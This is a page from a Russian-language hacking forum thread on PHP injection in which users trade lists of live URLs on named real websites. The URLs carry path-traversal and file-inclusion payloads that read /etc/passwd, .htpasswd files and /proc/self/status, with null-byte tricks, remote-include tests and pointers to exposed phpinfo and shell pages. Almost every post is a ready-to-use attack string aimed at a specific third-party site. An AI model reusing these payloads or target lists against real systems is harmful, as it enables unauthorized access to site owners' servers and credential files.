PHP Иньекции

Discussion in 'Уязвимости' started by Joker-jar, 20 Apr 2007.

  1. BrainDeaD

    BrainDeaD Elder - Старейшина

    Joined:
    9 Jun 2005
    Messages:
    774
    Likes Received:
    292
    Reputations:
    214
    сегодня в ассортименте Бразилия

    http://www.premiosindusfarmaqualidade.org.br/voto/index.php?include=../../../../../etc/passwd
    http://www.prevcaixa.com.br/index.php?include=../../../etc/passwd
    http://www.cursomaisroo.com.br/new.php?include=../../../etc/passwd
    http://www.consultebh.com.br/index.php?include=../../../etc/passwd
     
    3 people like this.
  2. Bb0y

    Bb0y Active Member

    Joined:
    30 Oct 2009
    Messages:
    116
    Likes Received:
    136
    Reputations:
    78
    http://webparadise.soft-in.ru/index.php?namepage=[/COLOR][/B] расширение инклудиров...amepage=http://forum.antichat.ru/index[/CODE]
     
    1 person likes this.
  3. BrainDeaD

    BrainDeaD Elder - Старейшина

    Joined:
    9 Jun 2005
    Messages:
    774
    Likes Received:
    292
    Reputations:
    214
     
  4. Bb0y

    Bb0y Active Member

    Joined:
    30 Oct 2009
    Messages:
    116
    Likes Received:
    136
    Reputations:
    78
    http://www.metamatiamou.gr/index.php?page=[/b] расширение инклудируемого файла должно быть [b].html[/b]
     
    1 person likes this.
  5. BrainDeaD

    BrainDeaD Elder - Старейшина

    Joined:
    9 Jun 2005
    Messages:
    774
    Likes Received:
    292
    Reputations:
    214
    http://www.wiknet.us/services/technicalsupport.php?include=../../.htpasswd-admins
     
    1 person likes this.
  6. Bb0y

    Bb0y Active Member

    Joined:
    30 Oct 2009
    Messages:
    116
    Likes Received:
    136
    Reputations:
    78
    http://www.tax.vsem.com.ua/index.php?page=[local file];&idnn=2958
    [ windows ]
     
    1 person likes this.
  7. Ctacok

    Ctacok Banned

    Joined:
    19 Dec 2008
    Messages:
    732
    Likes Received:
    646
    Reputations:
    251
    http://extension.entm.purdue.edu/eseries3/view.php?article=view.php


    http://www.mcli.dist.maricopa.edu/learnshops/active/outline.php?id=abcd/../../index.php
     
    #1107 Ctacok, 15 May 2010
    Last edited: 15 May 2010
    3 people like this.
  8. Bb0y

    Bb0y Active Member

    Joined:
    30 Oct 2009
    Messages:
    116
    Likes Received:
    136
    Reputations:
    78
    http://www.clownorama.com/index2.php?load=../../../../../etc/passwd
     
  9. Konqi

    Konqi Green member

    Joined:
    24 Jun 2009
    Messages:
    2,251
    Likes Received:
    1,148
    Reputations:
    886
    http://www.pressepapiers.fr/download.php?file=../../../../../../../../etc/passwd

    PR-5
     
    _________________________
  10. Bb0y

    Bb0y Active Member

    Joined:
    30 Oct 2009
    Messages:
    116
    Likes Received:
    136
    Reputations:
    78
    http://www.brucehonda.com/page.php?page=[/b] расширение инклюдируемого фай...file=../../../../etc/passwd&shownew=72[/code]
     
    #1110 Bb0y, 17 May 2010
    Last edited: 18 May 2010
    2 people like this.
  11. Konqi

    Konqi Green member

    Joined:
    24 Jun 2009
    Messages:
    2,251
    Likes Received:
    1,148
    Reputations:
    886
    http://amrel.obspm.fr/bommier/index.php?page=../../../../../../../../../etc/passwd
    http://www.dstewartedu.co.uk/pr-display.php?page=../../../../../../../etc/passwd
     
    _________________________
    #1111 Konqi, 18 May 2010
    Last edited: 18 May 2010
    1 person likes this.
  12. X-3me

    X-3me New Member

    Joined:
    27 Apr 2010
    Messages:
    6
    Likes Received:
    2
    Reputations:
    4
    Code:
    http://svaltera.zp.ua/index.php?inc=../../../../../../../../etc/passwd
    http://www.iaald.org/index.php?page=../../../../../../../../httpd/html/iaaldorg/www/index.php
     
    1 person likes this.
  13. Konqi

    Konqi Green member

    Joined:
    24 Jun 2009
    Messages:
    2,251
    Likes Received:
    1,148
    Reputations:
    886
    http://www.headspingames.com/index.php?page=../../../../../../../etc/passwd

    http://www.philippinebeekeeping.com/index2.php?page=../../../../../../etc/passwd

    http://www.weetwatikeet.nl/index.php?page=../../../../../../etc/passwd

    http://www.inspiration4you.eu/en/print.php?page=../../../../../../etc/passwd

    -----------------------------------------------------

    http://www.helsinkirugby.org/index.php?page=news&story=../../../../../../../../etc/passwd

    xaxaxa server chroot-или

    http://www.helsinkirugby.org/index.php?page=news&story=../../../../../../../../var/chroot/home/content/97/5735397/html/clubhouse/index.php

    а вот и вам phpinfo :)

    http://www.helsinkirugby.org/phpinfo.php

    можно и так

    http://www.helsinkirugby.org/index.php?page=news&story=../../../../../../../../var/chroot/home/content/97/5735397/html/phpinfo.php
     
    _________________________
    #1113 Konqi, 19 May 2010
    Last edited: 19 May 2010
    1 person likes this.
  14. 547

    547 Active Member

    Joined:
    11 Oct 2009
    Messages:
    216
    Likes Received:
    105
    Reputations:
    50
    Code:
    http://www.aiesec-berlin.de/KDK/index.php?load=../../../../../../../../etc/passwd
     
    1 person likes this.
  15. BrainDeaD

    BrainDeaD Elder - Старейшина

    Joined:
    9 Jun 2005
    Messages:
    774
    Likes Received:
    292
    Reputations:
    214
    http://www.sportenspelweek.nl/index.php?include=H:\Croot\sesw\index

    расширение .php
    нульбайт работает, но . заменяется на *
     
    1 person likes this.
  16. X-3me

    X-3me New Member

    Joined:
    27 Apr 2010
    Messages:
    6
    Likes Received:
    2
    Reputations:
    4
    Code:
    http://www.iftomm.ho.ua/index.php?../../../../../../etc/passwd
    http://www.atlllc.com/atlantis.php?page=/etc/passwd%00
    http://www.mobileshop-online.com/index.php?page=../../../../../../etc/passwd
    http://www.ougerman.com/Calendars/index.php?page=../../../../../../etc/passwd
    http://cyclecontrol.com/index.php?page=/hermes/bosweb/web040/b406/sl.ianyoung/public_html/index
    http://www.musee-airborne.com/eng/page.php?page=../../../../../../var/www/html/sites/webcommedia14/musee-airborne.com/html/eng/page
    http://www.statusecclesiae.net/status/common.php?pagina=../../../../../../../../etc/passwd
    http://foto.denhaag.org/PHP/pagina.php?link=../../../../../../../../etc/passwd
     
    #1116 X-3me, 21 May 2010
    Last edited: 21 May 2010
    1 person likes this.
  17. Konqi

    Konqi Green member

    Joined:
    24 Jun 2009
    Messages:
    2,251
    Likes Received:
    1,148
    Reputations:
    886
    http://davidhildebrand.org/index.php?page=../../../../../../etc/passwd

    http://www.cedarfallstrinity.org/index.php?page=../../../../../etc/passwd

    http://www.sambo-asia.org/en/index.php?page=https://forum.antichat.ru
     
    _________________________
    #1117 Konqi, 21 May 2010
    Last edited: 21 May 2010
    1 person likes this.
  18. BrainDeaD

    BrainDeaD Elder - Старейшина

    Joined:
    9 Jun 2005
    Messages:
    774
    Likes Received:
    292
    Reputations:
    214
    Code:
    http://www.pwshrunninwolves.org/active/2006CC/shell.php?include=[url]
     
    1 person likes this.
  19. Konqi

    Konqi Green member

    Joined:
    24 Jun 2009
    Messages:
    2,251
    Likes Received:
    1,148
    Reputations:
    886
    весит 3.7mb

    http://www.efah.org/pdfcount.php?fln=../../../../../../etc/passwd
     
    _________________________
  20. Virologist

    Virologist New Member

    Joined:
    7 May 2010
    Messages:
    3
    Likes Received:
    3
    Reputations:
    2
    ;)
    http://www.1soveti.ru/page.php?link=../../../../../proc/self/status%00
    http://www.tamadainfo.ru/page.php?open=../../../../../proc/self/status%00
     
    2 people like this.